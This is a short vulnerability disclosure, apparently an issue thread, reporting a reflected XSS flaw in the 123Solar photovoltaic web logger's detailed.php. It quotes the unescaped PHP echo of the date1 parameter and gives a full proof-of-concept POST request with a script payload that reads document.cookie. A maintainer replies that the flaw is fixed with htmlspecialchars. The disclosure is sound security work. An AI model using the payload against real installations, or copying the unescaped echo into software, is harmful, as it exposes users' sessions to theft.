123Solar 1.8.4.5 has a reflected XSS vulnerability

[Hebing123]

Summary

123Solar is a lightweight set of PHP/JS files that makes a web logger to monitor your photovoltaic inverter(s). It just need a web server and PHP, no databases are even needed. The philosophy is: To keep it simple, fast, with a low foot print to run on cheap and low powered devices.

A reflected Cross Site Scripting (XSS) vulnerability exists in 123Solar 1.8.4.5 due to improper sanitization of the $date1 parameter in detailed.php.

Details

In the provided code, the date1 parameter is passed through a POST request and directly concatenated into JavaScript code on the server-side without proper encoding or escaping. This allows an attacker to inject arbitrary JavaScript code.

$date1 = $_POST['date1'];
// ...
echo "<input name='date1' id='datepickid' value='$date1' size=7 maxlength=10>";

The use of $_POST['date1'] directly in HTML without encoding makes it possible for an attacker to inject any JavaScript code, resulting in a reflected XSS vulnerability.

POC

POST /detailed.php HTTP/1.1
Host: 192.168.0.10:1107
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Length: 286

date1=01/01/1967'><script>alert(document.cookie)</script>&checkavgpower=on&checkPROD=on&checkPERF=on&checkIP1=on&checkIV1=on&checkIA1=on&checkPERF1=on&checkIP2=on&checkIV2=on&checkIA2=on&checkPERF2=on&checkG1P=on&checkG1V=on&checkG1A=on&checkFRQ=on&checkINVT=on&checkBOOT=on&checkEFF=on

[jeanmarc77]

fixed with htmlspecialchars